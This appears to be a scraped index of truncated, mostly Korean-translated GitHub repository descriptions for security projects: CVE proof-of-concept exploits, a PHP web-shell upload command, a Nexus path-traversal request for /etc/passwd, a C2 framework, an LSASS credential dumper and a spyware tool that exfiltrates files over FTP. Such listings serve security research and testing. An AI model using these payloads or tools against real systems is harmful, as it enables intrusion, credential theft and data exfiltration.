Grafana-CVE-2021-43798Exp

Grafana V8.임의 파일 읽기 Exp--멀티스레드 배치 검증 스크립트 취약점 설명 Grafana는 오픈소스 메트릭 분석 및 시각화 제품군입니다. 주로 인프라스트럭처의 시계열 데이터와 애플리케이션 분석을 시각화하는 데 사용되며, 산업용 센서, 홈 자동화, 날씨, 프로세스 제어 등 다른 분야에서도 널리 사용됩니다. 8. 버전에는 임의 파일 읽기 취약점이 있으며, 현재 이 취약점은 0day 취약점입니다. 인증되지 않은 공격자가 이 취약점을 악용하여 서버의 민감한 파일을 획득할 수 있습니다. FOFA 구문 app="Grafana...

DocViewerExploitApp

DocViewerExploit 앱 - CVE-2021-40724 이는 MobileHackingLab의 Document Viewer를 악용하기 위한 소스 코드입니다. 취약한 앱 정보 이는 MobileHackingLab DocumentViewer Abdroid App Dynamic Code Loading RCE challenge를 위한 익스플로잇 앱입니다. 이 챌린지는 Adobe Acrobat Reader Android 앱에서 발견된 CVE-2021-40724 취약점을 에뮬레이트합니다. 앱은 라이브러리 파일에서 코드를 동적으로...

asclepius

Asclepius Asclepius는 파일을 복원하고 복구 가능성을 능동적으로 테스트하여 백업 무결성을 검증합니다. 메타데이터를 신뢰하는 대신 실제 파일 형식문서, 이미지, 비디오, 아카이브, 이메일의 파싱을 시도하여 백업을 실제로 읽을 수 있고 사용해도 안전한지 확인합니다. 설치 git clone https://github.com/matank001/asclepius cd asclepius uv sync 추가 종속성 FFmpeg 비디오 검증용 macOS brew install ffmpeg Ubuntu/Debian sudo ap...

CVE-2022-44268-MagiLeak

ImageMagick 임의 파일 읽기 - CVE-2022-44268 이 저장소는 ImageMagick의 임의 파일 읽기 취약점CVE-2022-44268을 악용하기 위한 개념 증명PoC 코드를 포함합니다. 해당 PoC는 공격자가 취약점을 이용하여 시스템에서 임의의 파일을 읽을 수 있는 방법을 시연합니다. 사전 요구 사항 코드를 실행하려면 다음 종속성이 설치되어 있어야 합니다: Python 3.x Pillow Python Imaging Library 필요한 종속성은 pip를 사용하여 설치할 수 있습니다: pip install...

CVE-2025-24801

CVE-2025-24801 GLPI RCE용 PoC 이 저장소는 GLPI 10.0.17의 LFI-to-RCE 취약점인 CVE-2025-24801을 악용하는 개념 증명 스크립트poc.py를 포함합니다. 자동화하는 기능: GLPI에 로그인 문서 유형 설정을 업데이트하여 .php 업로드 활성화 AJAX 파일 업로드 엔드포인트를 통해 PHP 리버스 셸 업로드 🛠️ 설치 git clone https://github.com/fatkz/CVE-2025-24801.git cd CVE-2025-24801 pip install -r...

CVE-2025-6220

Contact Form 7 用 Ultimate Addons 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0:...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 업로드 폴더에 셸이 위치하게 되면 다음과 같이...

CVE-2024-29824

horizon3ai의 스크립트를 일부 최적화했습니다 사실 정확성을 보장하기 위해 검증 메커니즘을 추가한 것뿐입니다 원본 프로젝트 주소: https://github.com/horizon3ai/CVE-2024-29824 "-f / --file" 및 ThreadPool 추가...

CVE-2020-5844

CVE-2020-5844 PandoraFMS 7.0-NG 742의 인증된 RCE 관리자 권한의 공격자는 악성 PHP 문서를 업로드할 수 있습니다. base64 파일 위치를 디코딩함으로써 사용자는 apache 사용자로 셸을 획득할 수 있습니다. TheCyberGeek이 발견함 PoC 파이썬 스크립트 Usage: python3 CVE-2020-5844.py URL USER PASS PHPREVERSESHELL Ex: python3 CVE-2020-5844.py http://10.0.0.2/pandoraconsole admin...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - 청크 업로드 초기화/마무리 순서를 통한 인증 없는 임의 파일 쓰기 CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — 청크 업로드를 통한 인증 없는 임의 파일 쓰기 개념 증명 익스플로잇 청크 업로드 초기화/마무리 순서 → 예측 가능한 경로 노출 → 원격 코드 실행 취약점 개요 필드| 세부 정보 ---|--- CVE ID| CVE-2026-10818 영향을 받는 플러그인| WPForms Pro WordPress 영향을 받는 버전|...

CVE-2023-4863

CVE-2023-4863 checkout webp git clone https://chromium.googlesource.com/webm/libwebp/ webptest cd webptest/ checkout vulnerable version git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0 enable AddressSanitizer sed -i 's/^EXTRAFLAGS=./& -fsanitize=address/' makefile.unix build webp make -f...

PULSE-C2

PULSE C2 프레임워크 HTTPS 명령 및 제어 인프라로, 원격 Windows 에이전트 관리를 위한 웹 대시보드를 제공합니다. ⚠️ 교육용 전용 - 불법 사용은 본인의 책임입니다. 기능 TLS 암호화를 지원하는 HTTPS C2 서버 Flask 실시간 웹 대시보드 XOR + Base64 암호화 프로토콜 영구 저장을 위한 SQLite 데이터베이스 원격 셸, 파일 유출, 비콘 제어 디버그 출력이 없는 무음 에이전트 빠른 시작 서버: cd server pip install flask python c2server.py 대시보드 접속:...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 Dork: Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" PoC : GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip,...

citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan !alt textcitrix 이 Metasploit-Framework 모듈은 기업이 최신 Citrix 취약점2020년 7월 8일 공개을 점검하는 데 도움을 주기 위해 사용될 수 있습니다. CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 Donny Maasland는 2020년 7월 8일 공개 보고서에서 취약점이 어떻게 악용될 수 있는지 논의했습니다. 2020년 7월 10일 기준으로, RIFT는 이 취약점을 사용하여 취약한 인스턴스에서 유효한 VPN 세션을...

Vulnerable-Web-Application

Vulnerable Web Application Vulnerable-Web-Application이란 무엇인가 Vulnerable-Web-Application은 웹 침투 테스트에 관심이 있고 이 주제에 대한 정보를 얻거나 작업하고 싶은 사람들을 위해 준비된 웹사이트입니다. 실제로 이 웹사이트는 설치와 사용이 매우 간단합니다. Vulnerable-Web-Application은 명령 실행, 파일 포함, 파일 업로드, SQL 및 XSS를 범주로 포함합니다. 데이터베이스가 필요한 범주의 경우, 설정 중에 한 번의 버튼으로...

spybrowse

BrowseSpy Be sure to change the ftp variables throughout the code, these variables contain the username, password, & IP address of the FTP server which receives the files. This code will do the following: 1. Copy itself into the %TMP% directory & name itself ursakta.exe 2. Add a registry entry to...

CVE-2024-7399-POC

CVE-2024-7399 CVE-2024-7399에 대한 익스플로잇입니다. 자세한 내용은 여기에서 확인할 수 있습니다: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. 사용법: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/...

CVE-2026-21858-and-CVE-2025-68613

Ni8mare: n8n 사전 인증 RCE CVE-2026-21858 & CVE-2025-68613 — 취약점 랩 & PoC 보고서 n8n 플랫폼에서 인증 없이 Arbitrary File ReadCVE-2026-21858에서 Remote Code ExecutionCVE-2025-68613까지 이어지는 Ni8mare 취약점 체인에 대한 실습 환경Vulnerable Lab 및 상세 익스플로잇 분석 보고서입니다. 상세 분석 및 익스플로잇 보고서 단계별로 설명된 PoC 이미지가 포함된 전체 분석 문서는 공식 보고서에서 확인하세요: 상세...

KslKatzBof

KslKatzBOF C2에서 KslD.sys BYOVD 기술을 사용하여 LSASS 자격 증명을 인라인으로 추출하는 Beacon Object File BOF입니다. 이 프로젝트는 다음 블로그 게시물을 기반으로 합니다: https://avantguard.io/blog/erfahrungsbericht-ki-gest%C3%BCtzte-bof-entwicklung-im-red-team 출처 이 BOF는 KslKatzMaximilian Barz를 기반으로 하며, 이는 다시 두 가지 기반 프로젝트를 바탕으로 합니다: KslDump –...

pyxamstore

Xamarin AssemblyStore Explorer pyxamstore This is an alpha release of an assemblies.blob AssemblyStore parser written in Python. The tool is capable of unpack and repackaging assemblies.blob and assemblies.manifest Xamarin files from an APK. Installing Run the installer script: python setup.py...